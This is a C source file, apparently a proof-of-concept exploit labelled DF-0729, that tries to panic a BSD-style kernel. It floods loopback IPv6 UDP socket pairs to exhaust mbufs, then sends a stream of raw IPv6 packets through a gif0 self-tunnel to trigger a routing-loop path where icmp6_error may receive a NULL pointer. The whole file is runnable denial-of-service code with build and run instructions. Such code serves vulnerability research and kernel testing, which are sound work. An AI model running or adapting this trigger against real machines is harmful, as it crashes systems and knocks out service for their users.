DF-0729 / df729_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | /* * DF-0729 โ mbuf-exhaustion + IPv6 P2P routing-loop trigger. * * Phase 1: Exhaust mbufs by flooding local socket pairs. Each datagram * pinned in a receive buffer holds one mbuf. * Phase 2: While under pressure, send IPv6 packets to fc00:dead::1 (routed * through gif0 self-tunnel). The packet arrives on gif0, routes * back out gif0 โ ip6_forward P2P loop detector fires โ * icmp6_error(mcopy,...) with mcopy possibly NULL โ panic. * * Build: cc -O2 -o df729_trigger df729_trigger.c -lpthread * Run: ./df729_trigger (requires setup.sh already run as root) */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <fcntl.h> #define N_FLOODERS 64 /* flood worker threads */ #define N_SOCKPAIRS 200 /* socket pairs per flooder */ #define DATAGRAM_SZ 200 /* < MHLEN so no cluster, pure mbuf */ #define TRIGGER_DST "fc00:dead::1" #define TRIGGER_RATE 50000 /* packets to send during trigger phase */ static volatile int g_stop = 0; static volatile long g_flood_pkts = 0; /* ---- Phase 1: mbuf exhaustion via UDP loopback flood ---- */ static void * flood_worker(void *arg) { int idx = (int)(long)arg; int socks[N_SOCKPAIRS][2]; struct sockaddr_in6 dst6; char buf[DATAGRAM_SZ]; int n_active = 0; int i; memset(buf, 'A', sizeof(buf)); /* create socket pairs */ for (i = 0; i < N_SOCKPAIRS; i++) { int s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) break; int rcv = 524288; setsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcv, sizeof(rcv)); struct sockaddr_in6 bindaddr; memset(&bindaddr, 0, sizeof(bindaddr)); bindaddr.sin6_family = AF_INET6; bindaddr.sin6_addr = in6addr_loopback; bindaddr.sin6_port = 0; /* ephemeral */ if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) < 0) { close(s); continue; } /* get bound port */ struct sockaddr_in6 realaddr; socklen_t alen = sizeof(realaddr); getsockname(s, (struct sockaddr *)&realaddr, &alen); int sender = socket(AF_INET6, SOCK_DGRAM, 0); if (sender < 0) { close(s); continue; } socks[n_active][0] = s; /* receiver */ socks[n_active][1] = sender; /* sender */ n_active++; /* connect sender to receiver's port */ memset(&dst6, 0, sizeof(dst6)); dst6.sin6_family = AF_INET6; dst6.sin6_addr = in6addr_loopback; dst6.sin6_port = realaddr.sin6_port; connect(sender, (struct sockaddr *)&dst6, sizeof(dst6)); } /* flood: fill receive buffers to pin mbufs */ while (!g_stop) { for (i = 0; i < n_active && !g_stop; i++) { int n = send(socks[i][1], buf, DATAGRAM_SZ, MSG_DONTWAIT); if (n > 0) __sync_fetch_and_add(&g_flood_pkts, 1); } } for (i = 0; i < n_active; i++) { close(socks[i][0]); close(socks[i][1]); } return NULL; } /* ---- Phase 2: IPv6 trigger via raw socket ---- */ static void send_trigger(int rawsock, const char *dst_ip) { struct sockaddr_in6 dst; char pkt[48]; /* IPv6 header (40) + minimal ICMPv6 (8) */ struct ip6_hdr *ip6 = (struct ip6_hdr *)pkt; memset(pkt, 0, sizeof(pkt)); ip6->ip6_vfc = 0x60; ip6->ip6_plen = 0; /* no payload beyond header */ ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 64; /* src: fc00::2 (our gif tunnel net) */ inet_pton(AF_INET6, "fc00::2", &ip6->ip6_src); /* dst: fc00:dead::1 (routes through gif0) */ inet_pton(AF_INET6, dst_ip, &ip6->ip6_dst); memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, dst_ip, &dst.sin6_addr); /* send through gif0 by specifying scope or interface */ sendto(rawsock, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); } static void check_mbufs(void) { FILE *f = popen("netstat -m 2>/dev/null", "r"); char line[256]; if (!f) return; while (fgets(line, sizeof(line), f)) fputs(line, stdout); pclose(f); } int main(int argc, char **argv) { pthread_t flooders[N_FLOODERS]; int rawsock, i; int trigger_count = TRIGGER_RATE; signal(SIGPIPE, SIG_IGN); printf("[trigger] starting %d flood workers x %d socket pairs\n", N_FLOODERS, N_SOCKPAIRS); for (i = 0; i < N_FLOODERS; i++) pthread_create(&flooders[i], NULL, flood_worker, (void *)(long)i); /* let flood ramp up */ sleep(5); printf("[trigger] flood pkts so far: %ld\n", g_flood_pkts); check_mbufs(); printf("[trigger] opening raw IPv6 socket for trigger packets\n"); rawsock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (rawsock < 0) { perror("raw socket (trying ICMPV6)"); rawsock = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (rawsock < 0) { perror("icmpv6 raw"); /* fall back to UDP */ rawsock = socket(AF_INET6, SOCK_DGRAM, 0); } } if (rawsock >= 0) { int hops = 64; setsockopt(rawsock, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &hops, sizeof(hops)); } printf("[trigger] sending %d IPv6 packets to %s under mbuf pressure\n", trigger_count, TRIGGER_DST); for (i = 0; i < trigger_count; i++) { if (rawsock >= 0) send_trigger(rawsock, TRIGGER_DST); if (i % 10000 == 0) { printf("[trigger] sent %d/%d\n", i, trigger_count); } } printf("[trigger] trigger phase done. checking mbufs:\n"); check_mbufs(); g_stop = 1; for (i = 0; i < N_FLOODERS; i++) pthread_join(flooders[i], NULL); if (rawsock >= 0) close(rawsock); printf("[trigger] complete. if we got here, no panic (or m_copym did not fail).\n"); return 0; } |